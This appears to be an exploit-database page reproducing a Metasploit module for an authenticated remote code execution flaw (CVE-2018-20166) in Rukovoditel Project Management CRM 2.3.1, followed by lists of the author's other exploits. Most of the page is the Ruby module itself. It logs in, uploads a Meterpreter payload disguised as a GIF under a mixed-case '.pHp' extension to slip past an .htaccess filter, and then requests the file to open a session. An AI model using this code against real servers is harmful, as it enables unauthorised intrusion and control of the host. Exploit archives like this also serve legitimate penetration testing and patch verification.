To access the dashboard, Schedule scans, API and Search become a patron

Search for hundreds of thousands of exploits

"Rukovoditel Project Management CRM 2.3.1 - Remote Code Execution (Metasploit)"

Author

Exploit author

AkkuS

Platform

Exploit platform

php

Release date

Exploit published date

2018-12-19

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'
require 'uri'

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::FileDropper

    def initialize
    super(
      'Name'           => 'Rukovoditel Project Management/CRM 2.3.1 -
(Authenticated) Remote Code Execution',
      'Description'    => %q{
        This module exploits a file upload vulnerability in Rukovoditel
PM/CRM version 2.3.1.
        Application allows the user to upload a background image, and does
not perform extension checking exactly.
        Application agrees to upload if "gif" file header is added to the
header of our payload file.
        However, many file types do not have permission to work.
".htaccess" is blocking that.
        it has file extension check as follows,
        <FilesMatch "\.(php([0-9]|s)?|s?p?html|cgi|pl|exe)$">
        There is no upper and lower case control. Therefore, the extension
of our file can be .pHp .Php .PhP and such.
        The module is uploading by create a payload as above to get
Meterpreter session.
      },
      'Author'         => [
        'AkkuS <Özkan Mustafa Akkuş>', # Vulnerability Discovery, PoC & Msf
Module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['URL', '
https://pentest.com.tr/exploits/Rukovoditel-Project-Management-CRM-2-3-1-Authenticated-Remote-Code-Execution.html'],

          ['CVE', '2018-20166'],
        ],
      'Platform'       => ['php'],
      'Arch'           => ARCH_PHP,
      'Targets'        =>
        [
          ['Rukovoditel PM/CRM <= 2.3.1', {}]
        ],
      'DisclosureDate' => '14 Dec 2018',
      'Privileged'     => false,
      'DefaultTarget' => 0
    )

    register_options(
        [
          OptString.new('TARGETURI', [true, 'The base path to i-doit',
'/']),
          OptString.new('USER', [true, 'User to login with', 'admin']),
          OptString.new('PASS', [true, 'Password to login with',
'password']),
        ], self.class)
    end
##
# Exploitation of Vulnerability
##
  def exploit

    random_value = Rex::Text.rand_text_alpha(10)
    sid_md5 = Digest::MD5.hexdigest random_value
    print_status("sid = #{sid_md5}")

    cookie = "cookie_test=please_accept_for_session;" + " sid=" + sid_md5

    res1 = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri,
"/index.php?module=users/login"),
      'cookie'   => cookie,
    })
        if not (res1 and res1.body =~ /form_session_token\"
value=\"([^\"]+)\"/)
            return nil
        end
    token = $1
##
# Authorized User Login
##

    res = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(target_uri,
"/index.php?module=users/login&action=login"),
      'cookie'   => cookie,
      'vars_post' => {
          "form_session_token" => token,
          "username" => datastore['USER'],
          "password" => datastore['PASS']

      }
    })
##
# Login Control
##

    tok = send_request_cgi({
      'method'   => 'GET',
      'cookie'   => cookie,
      'uri'      => normalize_uri(target_uri,
"/index.php?module=dashboard/"),
    })

    html = tok.body
    if html =~ /Rukovoditel/
      print_good("Login Successful")
    else
      print_status("User information is incorrect. Login failed")
      exit 0
    end
##
# Arbitrary ".pHp" file upload
##

    boundary = Rex::Text.rand_text_alphanumeric(29)

    data = "-----------------------------{boundary}\r\n"
    data << "Content-Disposition: form-data;
name=\"form_session_token\"\r\n"
    data << "\r\n"
    data << "{token}"
    data << "\r\n-----------------------------{boundary}\r\n"
    data << "Content-Disposition: form-data;
name=\"CFG[LOGIN_PAGE_HEADING]\"\r\n"
    data <<
"\r\nPage-Heading\r\n-----------------------------{boundary}\r\n"
    data << "Content-Disposition: form-data;
name=\"CFG[LOGIN_PAGE_CONTENT]\"\r\n"
    data << "\r\nPage-Desc\r\n-----------------------------{boundary}\r\n"
    data << "Content-Disposition: form-data;
name=\"APP_LOGIN_PAGE_BACKGROUND\"; filename=\"akkus.pHp\"\r\n"
    data << "Content-Type: binary/octet-stream\r\n"
    data << "\r\n"
    data << "GIF89a;\n<html>\n"
    data << "\n</html>\n"
    data << payload.encoded
    data << "\r\n-----------------------------{boundary}\r\n"
    data << "Content-Disposition: form-data;
name=\"CFG[APP_LOGIN_PAGE_BACKGROUND]\"\r\n"
    data << "\r\n{upload_name}\r\n"
    data << "-----------------------------{boundary}\r\n"
    data << "Content-Disposition: form-data;
name=\"CFG[LOGIN_PAGE_HIDE_REMEMBER_ME]\"\r\n"
    data << "\r\n0\r\n-----------------------------{boundary}--\r\n"

    res2 = send_request_cgi({
      'method' => 'POST',
      'data'  => data,
      'headers' =>
      {
        'Content-Type'   => 'multipart/form-data;
boundary=---------------------------{boundary}',
        'cookie'   => cookie,
      },
      'uri' => normalize_uri(target_uri,
"/index.php?module=configuration/save&redirect_to=configuration/login_page")

    })


##
# Informations
##
    print_status("#{peer} - Uploading in progress...")
    print_good("Upload Successful")
##
# Calling Shell File Name
##
    shellc = send_request_cgi({
      'method'   => 'GET',
      'cookie'   => cookie,
      'uri'      => normalize_uri(target_uri,
"/index.php?module=configuration/login_page"),
    })

        if not (shellc and shellc.body =~ /CFG_APP_LOGIN_PAGE_BACKGROUND\"
value=\"([^\"]+)\"/)
            return nil
        end
    shelln = $1
    print_good("#{peer} - Payload uploaded as #{shelln}")
    register_file_for_cleanup(shelln)
##
# Get Session
##
    send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri, "/uploads/", shelln),
    })

  end
end
Release Date Title Type Platform Author
2020-12-02 "Ksix Zigbee Devices - Playback Protection Bypass (PoC)" remote multiple "Alejandro Vazquez Vazquez"
2020-12-02 "ILIAS Learning Management System 4.3 - SSRF" webapps multiple Dot
2020-12-02 "aSc TimeTables 2021.6.2 - Denial of Service (PoC)" local windows "Ismael Nava"
2020-12-02 "Microsoft Windows - Win32k Elevation of Privilege" local windows nu11secur1ty
2020-12-02 "Anuko Time Tracker 1.19.23.5311 - No rate Limit on Password Reset functionality" webapps php "Mufaddal Masalawala"
2020-12-02 "Mitel mitel-cs018 - Call Data Information Disclosure" remote linux "Andrea Intilangelo"
2020-12-02 "ChurchCRM 4.2.0 - CSV/Formula Injection" webapps multiple "Mufaddal Masalawala"
2020-12-02 "ChurchCRM 4.2.1 - Persistent Cross Site Scripting (XSS)" webapps multiple "Mufaddal Masalawala"
2020-12-02 "IDT PC Audio 1.0.6433.0 - 'STacSV' Unquoted Service Path" local windows "Manuel Alvarez"
2020-12-02 "Pharmacy Store Management System 1.0 - 'id' SQL Injection" webapps php "Aydın Baran Ertemir"
Release Date Title Type Platform Author
2020-03-11 "CTROMS Terminal OS Port Portal - 'Password Reset' Authentication Bypass (Metasploit)" remote linux AkkuS
2019-08-12 "Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit)" remote linux AkkuS
2019-08-12 "ManageEngine Application Manager 14.2 - Privilege Escalation / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-08-12 "ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-08-12 "ManageEngine OpManager 12.4x - Unauthenticated Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-07-12 "Sahi Pro 8.0.0 - Remote Command Execution" webapps java AkkuS
2019-06-17 "AROX School-ERP Pro - Unauthenticated Remote Command Execution (Metasploit)" remote php AkkuS
2019-06-11 "Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)" remote linux AkkuS
2019-05-14 "PHP-Fusion 9.03.00 - 'Edit Profile' Remote Code Execution (Metasploit)" remote php AkkuS
2019-04-30 "Moodle 3.6.3 - 'Install Plugin' Remote Command Execution (Metasploit)" remote php AkkuS
2019-04-25 "osTicket 1.11 - Cross-Site Scripting / Local File Inclusion" webapps php AkkuS
2019-04-22 "ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-04-18 "ManageEngine Applications Manager 11.0 < 14.0 - SQL Injection / Remote Code Execution (Metasploit)" remote windows AkkuS
2019-04-15 "CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit)" remote php AkkuS
2019-04-12 "ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit)" webapps php AkkuS
2019-04-03 "TeemIp IPAM < 2.4.0 - 'new_config' Command Injection (Metasploit)" remote php AkkuS
2019-03-11 "Liferay CE Portal < 7.1.2 ga3 - Remote Command Execution (Metasploit)" webapps multiple AkkuS
2019-03-11 "OpenKM 6.3.2 < 6.3.7 - Remote Command Execution (Metasploit)" webapps jsp AkkuS
2019-03-07 "QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)" remote hardware AkkuS
2019-03-04 "Booked Scheduler 2.7.5 - Remote Command Execution (Metasploit)" webapps php AkkuS
2019-02-28 "Usermin 1.750 - Remote Command Execution (Metasploit)" webapps linux AkkuS
2019-02-28 "Feng Office 3.7.0.5 - Remote Command Execution (Metasploit)" webapps php AkkuS
2019-02-12 "Jenkins 2.150.2 - Remote Command Execution (Metasploit)" webapps linux AkkuS
2019-01-24 "SirsiDynix e-Library 3.5.x - Cross-Site Scripting" webapps cgi AkkuS
2019-01-18 "Webmin 1.900 - Remote Command Execution (Metasploit)" remote cgi AkkuS
2019-01-10 "eBrigade ERP 4.5 - Arbitrary File Download" webapps php AkkuS
2019-01-02 "Vtiger CRM 7.1.0 - Remote Code Execution" webapps php AkkuS
2018-12-19 "Rukovoditel Project Management CRM 2.3.1 - Remote Code Execution (Metasploit)" webapps php AkkuS
2018-12-09 "i-doit CMDB 1.11.2 - Remote Code Execution" webapps php AkkuS
2018-12-04 "Dolibarr ERP/CRM 8.0.3 - Cross-Site Scripting" webapps php AkkuS
import requests
response = requests.get('https://www.nmmapper.com/api/v1/exploitdetails/46011/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.